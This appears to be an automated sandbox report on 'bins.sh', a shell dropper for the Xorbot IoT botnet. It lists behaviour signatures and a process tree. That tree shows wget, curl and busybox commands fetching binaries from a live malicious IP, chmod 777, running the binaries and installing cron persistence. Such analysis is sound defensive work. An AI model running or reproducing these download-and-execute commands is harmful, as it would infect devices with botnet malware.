Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/02/2025, 18:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250218-wtaaaawqt6
  • SHA256 932c7baf30c6347287c44db75ce09361bd15528bd3367ebedf787f4f21291f9b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2175) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:652
      • /usr/bin/wget
        wget http://37.44.238.88/bins/OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        2⤵
        • Writes file to tmp directory
        PID:656
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:670
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        2⤵
        • Writes file to tmp directory
        PID:679
      • /bin/chmod
        chmod 777 OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        ./OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:682
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:684
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:685
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:687
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:688
            • /bin/rm
              rm OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
              2⤵
                PID:690
              • /usr/bin/wget
                wget http://37.44.238.88/bins/4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                2⤵
                • Writes file to tmp directory
                PID:693
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:744
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/chmod
                chmod 777 4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                ./4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                2⤵
                  PID:785
                • /bin/rm
                  rm 4fYsdmzXBe8MOMw9Stp3YK4XDVSGmoTD7k
                  2⤵
                    PID:795
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/BkmDA3rMRg5mMGdW1XjqjHmJCEjVNyRmna
                    2⤵
                      PID:797

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
                        • Path /tmp/OY73dx3OxFLDQ0PWJBeYDugnAsJBhm9GE7
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.9rarH5
                        • Path /var/spool/cron/crontabs/tmp.9rarH5
                        • Size 210B
                        • SHA256 c538ad8eff47cb35be36ca4fafeda0130776d97d0e32200dc7f333e95c599535
                        • MD5 SHA1 SHA512
                        Submit Download